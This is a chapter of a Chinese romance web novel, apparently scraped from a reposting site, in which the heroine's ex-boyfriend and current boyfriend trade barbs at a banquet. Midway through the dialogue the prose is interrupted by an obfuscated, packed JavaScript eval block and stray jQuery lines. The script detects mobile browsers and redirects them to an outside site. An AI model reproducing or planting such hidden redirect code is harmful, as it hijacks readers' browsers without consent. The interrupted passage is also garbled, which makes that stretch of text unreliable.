42.前任和现任

作品:《夜雨身湿

    谢铮:“在这边读研,跟着我导师一起。”


    他们二人身高差别不大,非要说的话,祁宁看着更成熟些,谢铮稍显瘦削,少年气和固执的劲儿各半。


    “特地来南市读研也没用吧。”祁宁语气淡淡的,似乎真的在说职业规划。


    “怎么会没用呢?至少比什么都不做要好。”


    祁宁评价:“错过的规划,比起再补救,不如向前看。很少听说海外本科再回来读书,性价比太低。”


    谢铮:“去外面读书也不是我的本意。我是一直想回国发展的。”


    祁宁意味不明地笑了一声,“是吗。”


    他们之间隐隐溢出了一□□味,但相当克制。


    谢铮不依不饶:“我觉得你才是,在C市明明发展不错,来南市是一时兴起吧,冲动行事是经商的捷径吗?”


    祁宁本就是南市人,也称不上是冲动行事,但他并不打算自证,只道:“挺会说话的,不过等你之后自立了,有我一半的成果再来指点我吧。”


    听到这种略嚣张却是事实的话,谢铮眯了眯眼睛,轻轻咬住下唇内侧,又松开来,竟然笑了起来。


    谢铮不再绕着弯儿旁敲侧击了,“是啊,我现在还完全依靠家里,什么都比不上你,但是你不也乐意和我说话了么,想来也只有是因为感情出问题了吧?”


    两人之间的交集被挑明,但没人示弱,祁宁只是略微挑了挑眉,没什么多余的反应。


    谢铮微低着头,眼神却盯着祁宁,努力想从他的脸上找点什么,继续道,“你比我强的,也就是一个现任,一个前任而已,我是前任,你是现任,可这东西又并不稳定,说不定有一天,我们也会变成一样的身份。”


    祁宁丝毫不急,只认真回答:“什么意思,你想做小三。但就算你做了小三,我也是正经的男朋友,那也不一样。”


    谢铮:……


    谢铮:“你没有想过你和她分手的可能性吗?”


    与谢铮相反,祁宁不是紧盯人的神情,而是习惯略扬着下巴,眼珠往下地看人,有种微妙的睥睨意味。


    面对谢铮的禁逼,有一分俯视的游离和漫不经心,反而显得更加挑衅,祁宁问:“为什么会分手?想分的话就不会谈恋爱了。就是因为不想分开才在一起的。”


    他怎么可能放手呢。


    “那只是你自以为。”谢铮语气很笃定,带着些隐秘的恶意,似乎在期许某种不好的结果发生——


    他想看到祁宁和端宝儿快点分手。


    谢铮:“你也和家里牵扯不清吧,他们是希望你怎样,希望你相亲?还是叫联姻更合适?他们因为你而觉得高人一等,想必觉得是联姻吧——相亲这个词怎么配得上你。”


    谢铮还说:“你说我家里不希望我来南市……你家人不也一样吗,我听说你家人在外边打着你的名号认兄认弟的,你不是前两天还见了江雨瑶吗?你敢和端宝儿说吗?”


    祁宁不为所动,双臂抱胸,袖口挽到手肘的位置,露出线条分明的小臂,“你现在是以什么身份谴责我?我现女友的前男友?”


    谢铮没法继续保持淡定,祁宁这人真讨厌,一口一个前任、前任、前任,一般人面对前任的挑衅不该生气吗?祁宁呢?仿佛因为“前任”和“现任”的一字之差格外有优越感,格外享受似的。


    谢铮咬牙:“当然是和她一起生活过的人。”


    “那不还是过去式吗。”祁宁叹气,“作为现任,我就好心点拨你一句吧,守着过去沾沾自喜,才是她讨厌你的根本原因——和过去有关的一切她都讨厌,你们家,你们一起读的高中,你们一起认识的人。她全都讨厌。你还指望着用从江雨瑶那里得来的消息和她说话,她心里烦死你了吧。”


    过去、过去,只会强调过去,烦的到底是谁?


    谢铮:“你以为你就不会是过去式吗?”


    有嘈杂的人声远远地传来,本场晚宴的目的是什么都不重要了,他们的注意力都放在对方身上,尤其是谢铮。


    谢铮说完一句话,眼底浮出了一点晶莹的东西,很快又压了下去,继续说,“你有什么资格替她下结论——”


    祁宁一脸无辜,“当然是因为她和我抱怨过。”


    谢铮吸一口气,“那她有没有和你说过,我们之前关系很好,我什么都会跟她说,不像你,什么都不告诉她。”


    祁宁心里一动,却装不懂,“为什么你认为和她说自己的事情就是关系好?”


    “因为她心疼我啊。她如果不心疼我,就不会听我说那么多,我知道她现在肯定否认,可是我们关系真的好过。”说着,谢铮眼底的泪又要流出来了。


    祁宁第一次发现谢铮平时摆出一副不染尘埃的高傲模样,实际上原来是会被气到流泪的吗?


    那谢铮现在的表情是出于生气还是委屈?曾经在端宝儿面前他也流露过这样的软弱吗?


    在端宝儿那里,软弱反而是加分项吗?


    祁宁若有所思。


    “我和端宝儿之前当然关系好啊,我说起家里的事,她都听得很认真,因为我们是同类,她理解我实际上没有那么好——我也知道她不像表面装得那样乖,在没法信任的环境里,只有我们知道彼此的秘密,就算她之后再否认,也没法改变,我当时是可以躺在她腿上说话的关系。”


    在学校无人的草坪上,午后的阳光洒下来,端宝儿穿着过膝的制服裙,低头看着书,他突然想躺下,枕在端宝儿大腿靠近膝盖的地方,端宝儿看了他一眼,没有拒绝。她低下头继续看书,而他说:“我明天又要和谢思扬吃饭,我不想去。”说的大概是这些话,总之是些抱怨,他自言自语,她认真听着,视线时而从书页移到他的脸上,而他也能从倾斜的角度看到她的脸。


    没有化妆,没有涂防晒,平整的,光滑的脸,眉毛没有修得很好,眉尾有些微妙的杂乱,瞳孔很清澈,看不出情绪,面庞上有一层近乎透明的细密绒毛,在阳光下泛起被染成金色的光泽。他那时心里在想什么,是怎样鬼迷心窍的,想不起来,因为回忆被祁宁无情地打断了。


    “那你真是很可怜了。”


    谢铮愣住。


    他?可怜?


    祁宁声音平稳,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478690|181906||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有半点波澜,认真地怜悯他,“因为翻来覆去,能回忆的记忆也只有这么一点吧……你知道为什么会这样吗?你太沉浸在自己的世界里了啊。”


    祁宁身体放松下来,不再双手抱胸,而是轻倚着墙壁,炫耀的人是谢铮,嘴角泛起一点笑的人是祁宁。他眼神里带着真实的惋惜,“你啊,要是当初稍微上点心,就能知道她的妈妈真的被你那人人尊重的大伯侵犯了,就算你家人瞒着不告诉你,去多问问人也能猜出结果,可你无视了这么重要的事实,企图和她没有隔阂的交流……”


    “是谁给了你这样高傲的底气呢?是你那做了错事却没有得到惩罚的大伯吗?是你那包庇谢程并企图颠倒黑白的父母吗?是你们家依靠谢程的权力所堆积的财富吗?”


    祁宁甚至笑了一声,“我是真的觉得你很可怜,要是我是你,明确了自己想要抓住的人是端宝儿,一早就会和家人割席,就算没来得及,我也会努力收集谢程犯罪的证据让他安心——不过你可不用抄袭我的做法,因为上述事情我都已经做了。”


    一度因为端宝儿的态度有的焦虑都无影无踪,祁宁食指指节轻轻托着下巴,“因为你该错过的早就错过了……她的性格其实像她的妈妈。你否定了她的妈妈,又企图高高在上地接纳剩余的她,我不是。”


    “我知道她性格和她妈妈一样强硬,根本不是那种会回头的人。所以我见过她总是主动邀请我的样子……她会带我去海边喝酒,她会因为弄丢我的礼物而内疚到流泪,她闻到护发精油的香味就会很高兴,会拿起两缕头发闻有几种味道,会把我的转账红包捐赠出去——你见过吗,你也不可能见过,就抱着高中的记忆沉迷其中吧。哈,那都是多久之前的事了。”


    “祁宁!你有病吧!”


    谢铮抹了一把眼睛,“你又好到哪里去?她的车那么旧你没有想帮她换过,她租那样窄的房子你也当看不见,你不也只是享受她对你的照顾吗?”


    看到谢铮眼泪都掉出来的模样,祁宁只想——真嫩啊。


    他恶趣味地咽下一点笑意。


    骨子里幼稚的小孩,完全不够看,说几句就急了。他发自内心感谢自己正好比端宝儿大上几岁,发自内心感谢谢铮提出来的毛病他正好都有钱解决——谢铮的建议实在很好,他会采纳,但不会给予感激之情。


    “随你怎么说,我一会回去找她吃饭了。”


    这话是假的,端宝儿暂时不在家,但不妨碍祁宁虚荣地炫耀。


    今天实在是很有收获,祁宁第一次意识到,见不得光的那些事,也可以是他的优势。谢铮从前喜欢在端宝儿面前说些乱七八糟的事,那些事在他的过往面前根本不够看。


    他比谢铮可怜得多,端宝儿更会心疼的人是他。


    这种突然降临的认知,让祁宁打开了某种开关似的,心情倏地美妙起来。


    缠在身上的枷锁解脱了,他指尖轻快地给端宝儿发消息——


    【我刚才看到谢铮了,他骂我有病。】


    【本来因为家里人乱七八糟就说不出半句话——】


    【猫猫委屈.jpg】